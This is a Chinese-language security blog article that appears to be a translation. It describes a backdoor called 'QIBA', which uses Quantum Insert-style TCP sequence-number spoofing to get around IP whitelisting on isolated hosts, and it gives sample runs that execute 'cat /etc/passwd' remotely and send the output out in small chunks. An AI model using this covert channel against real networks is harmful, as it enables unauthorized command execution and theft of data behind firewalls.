其他

利用“量子插入”技术绕过IP限制

2017-10-30 丝绸之路 嘶吼专业版

到目前为止,每个人应该都可能听说过量子插入NSA(Quantum Insert NSA)这种攻击技术,如果你还没有听说过,那么我建议在这篇文章的结尾处查看引用的一些文章。对于那些已经听说过或者了解这种技术的的人来说,这种攻击技术也不是新颖的攻击技术,而且在过去已经有多种工具实现了这种攻击。这些工具使你能够完全劫持telnet连接然后插入你要执行的命令,或终止现有的连接。大多数工具依赖于这样一个事实,即它们可以拦截本地网络上的流量,然后伪造TCP / IP序列号(你可以预测它们的日子已经过去了)。

所以看起来要利用这种类型的攻击,只需要知道其中的序列号就可以有助于伪造一个欺骗的数据包,目前已经有两种非常具体的方式被使用:

· 在本地网络上注入TCP流

· 通过利用NSA攻击在全局监控连接并注入数据包

然而,还有一种利用方式,但是据我所知,目前还没有使用这种技术来绕过IP过滤器进行双向通信。你可能会想知道这可能会派上用场吗?大多数攻击者用这种攻击技术来直接通过HTTPS进行内网渗透,或者在最坏的情况下,这些攻击者可以将流量回流到工作良好的旧DNS中。然而,这些方法都不适用于你在渗透过程中有时会遇到的一些更为孤立的主机的情况。

在一次渗透过程中,我遇到了多个主机,这些主机被网络防火墙屏蔽,只允许某些IP地址发起网络连接。下图描述了这种情况:

如上图所示,由于某些原因,攻击者已经决定将受感染的主机与互联网进行通信,而实际上只需要与某些IP地址进行通信。这让我想到如何才能传输数据。最简单的方法当然是通过SSH和密码重用的方式获得外部主机的访问然后以相同的方式来传输数据。我在这期间没有发现任何其他有用的渗透方法。这当然不是最理想的出路,因为它需要在内网中的多个感染主机之间通过网络传递信息,这可能会引起网络管理员的一些注意。

在我看来,一个更优雅的方式是直接从机器渗透,避免与网络中的机器连续连接。在这篇文章中,我们将探讨我为这个挑战找到的解决方案,这是为了重新利用众所周知的“量子插入“技术来尝试和构建的一个具有欺骗性IP地址的双向通信通道,以便能够从这些类型的隔离主机中继续渗透。如果你认为“这只有在IP过滤或反地址欺骗不执行的情况下才有效”,那么你想的没错。所以除了进行DDOS攻击外,这也是阻止传出欺骗性数据包的另一个原因。

如果你已经熟悉了IP欺骗,伪造数据包和量子插入,你也可以跳过这篇文章的其余部分,直接跳转到QIBA - 量子插入后门POC。请注意,我只在实验室的设置中测试了这一点,对实际渗透的使用效果没有保证:)

最后,你可能使用这个工具很久了,工具的代码说明了它的工作原理,但它在实际的渗透中无处不在使用。

攻击概念

最终目标很明确吗,我们所需要的就是能够从互联网上的主机与内网的主机之间获得双向通信(白名单IP地址,没有dns)。下图描绘了通过说明单向通信来实现此目的的方式:

我们来看看上面的图片,并解释一些额外的细节:

1.  控制连接(Control Connection)

这是我们设置为白名单机器的连接,以便我们可以控制这台机器上的数据速率并使用它来接收注入的数据包

2.  泄漏(Leak)

我们要泄漏以下信息

a)  ControlConnection源端口

b)  ControlConnection序列号

c)   ControlConnection确认号码

我们使用攻击服务器的SPOOFED IP地址向白名单的机器使用SYN数据包发起网络连接

3.  接收泄漏信息

白名单机器将对我们的攻击服务器进行SYN / ACK响应,从而使我们能够收到泄露的信息

4.  注入欺骗数据包

我们现在拥有向受感染的机器发送数据包所需的所有信息,然后欺骗白名单机器的IP地址

攻击POC

在我们开始构建利用工具之前,首先看看这个概念是否可行,构建一个小型的POC,这样可以将数据注入孤立的主机。这是我们已经知道的事实,因为它已经完成,这是我们想要构建的其余工具的基础。

我们需要构建以下组件:

在受感染的主机端(poc_client.py)

· 控制连接

· 嗅探器

· 泄漏序列号的方式

命令&控制服务器端(poc_server.py)

· 一种识别泄漏序列号的方法

· 某些东西将数据包注入我们的主机

所以这并不是完全双向的,但它提供了充分的证明逻辑,它应该给我们足够的信心,其余的概念也将起到作用。首先要注意的是,使用IP欺骗,你可以通过编码序列号来隔离来自隔离主机的信息,当然这是低带宽信道的缺点。

POC有点混乱,有时可能不起作用,但是我们之前讨论过的要点将被证明受控数据包注入到独立主机的至少需要半双工能力,并且可以变成双向的定向通道。如果一切顺利的话,控制连接应该会接收到“INJECT”和“WIPE”。扩展一下你的一点想像力,你就可以使用这个工具做一些有用的其他事情,例如:

· 向孤立的主机注入新的C&C IP地址

· 启动关于文件或主机的WIPE操作

· 发送命令执行

当然更有趣的事情是你也可以以相同的方式接收数据,这实际上使我们能够控制一个隔离的主机了,即使它被完全屏蔽,只允许与一个IP地址进行通信。所以让我们来尝试建立一个使用这个原理的后门吧。

QIBA - 量子插入后门

POC基本上包含了创建双向后门所需的一切。原因如下:

· 从注入的数据包接收数据到控制连接

· 通过白名单主机的seq / ack序列号泄漏数据

主要区别在于,你需要实现附加的信令和执行命令的能力以及将命令输出切割成小块。由于TCP / IP的一些属性,你还必须考虑重复的数据包,因为白名单IP的TCP / IP堆栈在收到无应答的消息时将重新发送数据包。为了补偿这一点,你只需要为每个数据包添加一个小的一个字节的校验和,以便你可以在收到数据包时识别它。是的,这进一步限制了带宽从4到3个字节。我选择的方式非常简单,因此可能不是很理想,但至少它现在比较适用:

if ((ord(encdata[0]) + ord(encdata[1]) + ord(encdata[2])) % 0xff) == ord(encdata[3]):

上面的代码,我只是添加了所有的字节并且将这些字节与255 mod一下,这对于现在似乎是足够的了。另外为了确保我以正确的顺序收到所有的数据,我实现了一些似乎能完成这项工作的超时。在更实际的实现中,你将实现更强大的信令协议以及一些错误码。让我们来看看代码执行的如何?

服务器端

sudo python qiba_server.py 172.16.218.152 172.16.218.168 8080 "cat /etc/passwd"

Injecting::::::: <IP frag=0 proto=tcp src=172.16.218.152 dst=172.16.218.168 |<TCP sport=http_alt dport=43294 seq=729684595 ack=1783071637 flags=PA |<Raw load='cat /etc/passwd:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' |>>>

.

Sent 1 packets.

cmdoutput::::::: roo

cmdoutput::::::: t:x

cmdoutput::::::: t:x

cmdoutput::::::: :0:

cmdoutput::::::: 0:r

cmdoutput::::::: t:x

cmdoutput::::::: oot

cmdoutput::::::: :/r

cmdoutput::::::: oot

cmdoutput::::::: :/b

cmdoutput::::::: t:x

[...]

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologinnc:x:4:65534:sync:/bin:/bin/sync

客户端

sudo ./qiba_client.py 172.16.218.152 172.16.218.174 8080

Sent 1 packets.

.

Sent 1 packets.

.

Sent 1 packets.

Getdata attempt:::::::

RECEIVED::::::: cat /etc/passwd:aaaaaaaaaaaaaa[...]

CMD::::::: cat /etc/passwd

CMD OUTPUT::::::: root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

[...]

Exfildata::::::: rooQ

Exfildata enc::::::: 726f6f51

Exfildata int::::::: 1919905617

.

Sent 1 packets.

Exfildata::::::: t:x'

Exfildata enc::::::: 743a7827

Exfildata int::::::: 1949988903

.

Sent 1 packets.

Exfildata::::::: :0:�

Exfildata enc::::::: 3a303aa4

Exfildata int::::::: 976239268

好吧,看起来好玩吗?我们现在正在控制一个只允许使用欺骗性数据包和序列/确认号与单个IP通信的主机作为传输信息的通道。

技术限制和实际应用

虽然QIBA POC证明这个概念是有效的,但还有一些限制:

· 白名单主机本身不应实施IP或端口白名单

· 受害者要能够欺骗IP地址

· 攻击者需要知道受害者的IP地址

这可能会让你想知道这个概念的实际用途有些什么?那么我会说以下几个场景是很现实的:

· 无论IP白名单如何配置,感染主机都可以成功的通知CC主机

· 无论IP白名单如何配置,都可以传输信息

我认为能够实现上述实际情况的原因是因为感染主机需要做的唯一的事情是监控当前的连接并尝试使用它所能连接到的IP进行过滤。这当然没有任何保证,但在我看来,最好还是不要完全过滤。

参考

https://packetstormsecurity.com/sniffers/hunt/

https://blog.fox-it.com/2015/04/20/deep-dive-into-quantum-insert/

http://conference.hitb.org/hitbsecconf2009kl/materials/D1T2%20-%20Alex%20Kuza55%20K%20-%20Implementing%20and%20Improving%20Blind%20TCP.pdf


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存